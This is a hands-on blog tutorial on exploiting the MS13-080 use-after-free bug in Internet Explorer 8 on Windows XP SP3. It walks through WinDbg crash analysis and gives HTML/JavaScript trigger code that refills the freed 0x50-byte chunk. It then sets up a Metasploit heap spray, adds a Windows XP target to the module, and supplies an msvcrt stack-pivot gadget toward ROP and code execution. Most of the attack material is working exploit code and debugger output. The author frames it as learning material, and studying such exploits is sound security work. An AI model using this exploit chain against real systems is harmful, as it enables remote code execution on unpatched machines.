Use After Free Exploits for Humans Part 1 – Exploiting MS13-080 on IE8 winxpsp3

A use after free bug is when an application uses memory (usually on the heap) after it has been freed. In various scenarios, attackers can influence the values in that memory, and code at a later point will use it with a broken reference.

This is an introductory post to use after free – walking through an exploit. Although there are a million posts about the class of bug, not many are hands on (and this one is). I’ve been spending some free time over the past month looking into use after free type bugs. I’m a noob in this space so please call out/forgive mistakes.

Setup

Install a windows xpsp3 VM without updates. I got the vulnerable version of IE from this totally legit looking site, http://www.oldapps.com/internet_explorer.php?old_internet_explorer=17. When installing, make sure you disconnect the internet connection so it doesn’t update, which it will do otherwise.

We begin with this https://gist.github.com/wchen-r7/6758172, which should give us a crash that looks something like the following:

(31c.8f0): Access violation - code c0000005 (!!! second chance !!!)
eax=028601c5 ebx=001e8520 ecx=02ff0801 edx=020be80c esi=636397e4 edi=63662c78
eip=63662dca esp=020be7ec ebp=020be810 iopl=0         nv up ei ng nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000293
mshtml!CTreeNode::GetInterface+0xb6:
63662dca ff11            call    dword ptr [ecx]      ds:0023:02ff0801=????????
0:008> ub
mshtml!CTreeNode::GetInterface+0xa2:
63662db6 f3a7            repe cmps dword ptr [esi],dword ptr es:[edi]
63662db8 0f84c9f31800    je      mshtml!CTreeNode::GetInterface+0x1e9 (637f2187)
63662dbe 8b03            mov     eax,dword ptr [ebx]
63662dc0 8b08            mov     ecx,dword ptr [eax]
63662dc2 8d55fc          lea     edx,[ebp-4]
63662dc5 52              push    edx
63662dc6 ff750c          push    dword ptr [ebp+0Ch]
63662dc9 50              push    eax
0:008> k
ChildEBP RetAddr  
020be810 63662d3a mshtml!CTreeNode::GetInterface+0xb6
020be828 635f3fe4 mshtml!CTreeNode::NodeAddRef+0x24
020be8ac 637fd38f mshtml!CDoc::PumpMessage+0x4a3
020be968 638b9650 mshtml!CDoc::SetMouseCapture+0xe6
020be990 638e5dab mshtml!CElement::setCapture+0x50
...

Based on the crash, this is most likely either a use after free where ecx could be a pointer to a table of function pointers (although for me at this point it is difficult to tell the difference between this and a null ptr dereference).

Investigation

Let’s take a second to analyze.

The first step is to turn on pageheap and user mode stack tracing for iexplore.exe using gflags. pageheap will monitor all heap memory operations, allowing us to see when our application is trying to access the freed memory immediately (it will crash sooner – a good writeup on what’s going on is here) and also see some additional info, such as the sizes of the allocations and stack traces involved.

Running the same file, you will get a different crash now.

(40c.a04): Access violation - code c0000005 (!!! second chance !!!)
eax=00000000 ebx=39fae8d0 ecx=335006a8 edx=39fae608 esi=00000000 edi=0d5b6fb0
eip=635f4478 esp=39fae820 ebp=39fae828 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
mshtml!CDoc::HasContainerCapture+0x14:
635f4478 8b0f            mov     ecx,dword ptr [edi]  ds:0023:0d5b6fb0=????????
0:008> k
ChildEBP RetAddr  
037ce828 635f5887 mshtml!CDoc::HasContainerCapture+0x14
037ce8ac 637fd38f mshtml!CDoc::PumpMessage+0x3e2
037ce968 638b9650 mshtml!CDoc::SetMouseCapture+0xe6
037ce990 638e5dab mshtml!CElement::setCapture+0x50

We are crashing earlier, at the setCapture functions from our Javascript which is trying to reference memory that was freed in the earlier document.write. We can verify this with windbg.

Using the info stored in heaplib, we can use this to find the size of the chunk

0:023> .printf "0x%x", 1000 - edi & 0xFFF
0x50

Because we want to replace a piece of memory 0x50 big, we can modify our script to add the following.

<html>
<script>

lfh = new Array(20);
for(i = 0; i < lfh.length; i++) {
  lfh[i] = document.createElement('div');
  lfh[i].className = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
}
 

function trigger()
{
  var id_0 = document.createElement("sup");
  var id_1 = document.createElement("audio");
 
  document.body.appendChild(id_0);
  document.body.appendChild(id_1);
  id_1.applyElement(id_0);
 
  id_0.onlosecapture=function(e) {
    document.write("");

    tt = new Array(20);
    for(i = 0; i < tt.length; i++) {
      tt[i] = document.createElement('div');
      tt[i].className = "\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424";
    }
  }
 
  id_0['outerText']="";
  id_0.setCapture();
  id_1.setCapture();
}
 
window.onload = function() {
  trigger();
}
</script>
</html>

We will now get a crash that looks like this:

(be0.9e4): Access violation - code c0000005 (!!! second chance !!!)
eax=24242424 ebx=001e83e8 ecx=00000003 edx=00000000 esi=636397e4 edi=63662c78
eip=63662dc0 esp=020be7f8 ebp=020be810 iopl=0         nv up ei ng nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000293
mshtml!CTreeNode::GetInterface+0xac:
63662dc0 8b08            mov     ecx,dword ptr [eax]  ds:0023:24242424=????????
mshtml!CTreeNode::GetInterface+0xac:
63662dc0 8b08            mov     ecx,dword ptr [eax]
63662dc2 8d55fc          lea     edx,[ebp-4]
63662dc5 52              push    edx
63662dc6 ff750c          push    dword ptr [ebp+0Ch]
63662dc9 50              push    eax
63662dca ff11            call    dword ptr [ecx]
63662dcc 8bf0            mov     esi,eax
63662dce 85f6            test    esi,esi

This is just a few instructions before our call [ecx]. So to get EIP, we need to point eax to a valid value that points to where we want to start executing. We should be able to do this with a heap spray (maybe not ideal, but easy), then a stack pivot to this address where we can execute our ROP. Because we are modifying a metasploit payload, let’s just do everything the metasploit way, which I’ll cover in the next section.

Metasploit browser Detection, Heap Spray, and ROP

Because we are modifying a metasploit module, let’s just use all their builtin stuff and do this the metasploit way.

First thing we need to do is detect the browser, which is described here. In the msf module, there was existing parameters to detect windows 7 IE9, so we have to configure it to also accept windows XP with IE8.

    'Targets'        =>
        [
          [ 'Automatic', {} ],
          [
            'Windows 7 with Office 2007|2010',
            {
              :os_name   => /win/i,
              :ua_name   => HttpClients::IE,
              :ua_ver    => "9.0",
              :os_flavor => "7",
              :office    => /2007|2010/
            }
          ],
          [
            'Windows XP with IE 8',
            {
              :os_name   => "Windows XP",
              :ua_name   => HttpClients::IE,
              :ua_ver    => "8.0";
            }
          ]
        ],

Heap spraying is the process of throwing a bunch of crap on the heap in a predictable way. Again, metasploit can do this for us. This is described here. We can also get rid of our lfh allocation at the beginning because js_property_spray will take care of it for us. The docs say a reliable address is 0x20302020, so we’ll just use that.

At this point you should be able to have eip control (eip=0x414141) using something like this

  def get_exploit_html_ie8(cli, target_info)
    #address containing our heap spray is 0x20302020
    spray_addr = "\\u2020\\u2030"

    #size to fill after free is 0x50
    free_fill = spray_addr + "\\u2424" * (((0x50-1)/2)-2) 

    %Q|
<html>
<script>

#{js_property_spray}
tt = new Array(30);

function trigger()
{
  var id_0 = document.createElement("sup");
  var id_1 = document.createElement("audio");
 
  document.body.appendChild(id_0);
  document.body.appendChild(id_1);
  id_1.applyElement(id_0);
 
  id_0.onlosecapture=function(e) {
    document.write("");
    
    for(i = 0; i < tt.length; i++) {
      tt[i] = document.createElement('div');
      tt[i].className ="#{free_fill}";
    } 

  var s = unescape("%u4141%u4141%u4242%u4242%u4343%u4343%u4444%u4444%u4545%u4545%u4646%u4646%u4747%u4747");  //this is mangled thanks to wordpress, but is just escaped js strings
  sprayHeap({shellcode:s});
  }

  id_0['outerText']="";
  id_0.setCapture();
  id_1.setCapture(); 
}
 
window.onload = function() {
  trigger();
}
</script>
</html>
    |
  end

Finally, we just need rop, which msf also has (if you’re interested in learning how to ROP, this is a good tutorial). ROP with heap sprays are generally really easy (as long as you know a base address). This is not like a stack overflow where we need to do shenanigans, we just put stuff in order on our heap spray and we don’t have to worry about null bytes, etc etc. Nevertheless, metasploit has builtin RopDB for Windows XP where the addresses are constant, using msvcrt. https://dev.metasploit.com/api/Rex/Exploitation/RopDb.html.

To connect everything, we just need a stack pivot, meaning we need esp to point to our heap that we control. right now eax points to our heap of course, so we can look for something that moves eax to esp (there are several ways to do this, mov esp, eax | xchg eax, esp | push eax then pop esp, etc.). Let’s just look in msvcrt since we’re using that dll to virtualprotect later anyway. I usually use rp++ for this although I had mona loaded so I did search through that (unfortunately not able to find something I could use in msvcrt with mona). Searching for output with rp++ I found

0x77c3868a
xchg eax, esp
rcr dword [ebx-0x75], 0xFFFFFFC1
pop ebp 
ret  

This will work great. Now just put them in the right order, and we have our exploit!

I put in a pull request for this into metasploit so you can see the “final” version here, although it hasn’t yet been reviewed or accepted at the time I’m writing this. Of course this is largely useless for practical purposes, but it is a pretty good way to learn the basics of use after free IMO. Many vulns affect multiple versions of a browser, so it’s a fun exercise to port the bugs to different versions.

Follow-Ups

Some of my favorite work in this space is done by Peter Vreugdenhil at exodusintel. For a more advanced UAF (from someone who knows WAY more about browser exploitation than I do) see http://blog.exodusintel.com/2013/11/26/browser-weakest-byte/

I plan on doing a part II here, perhaps trying to touch on memory leaks and newer browsers. Stay tuned…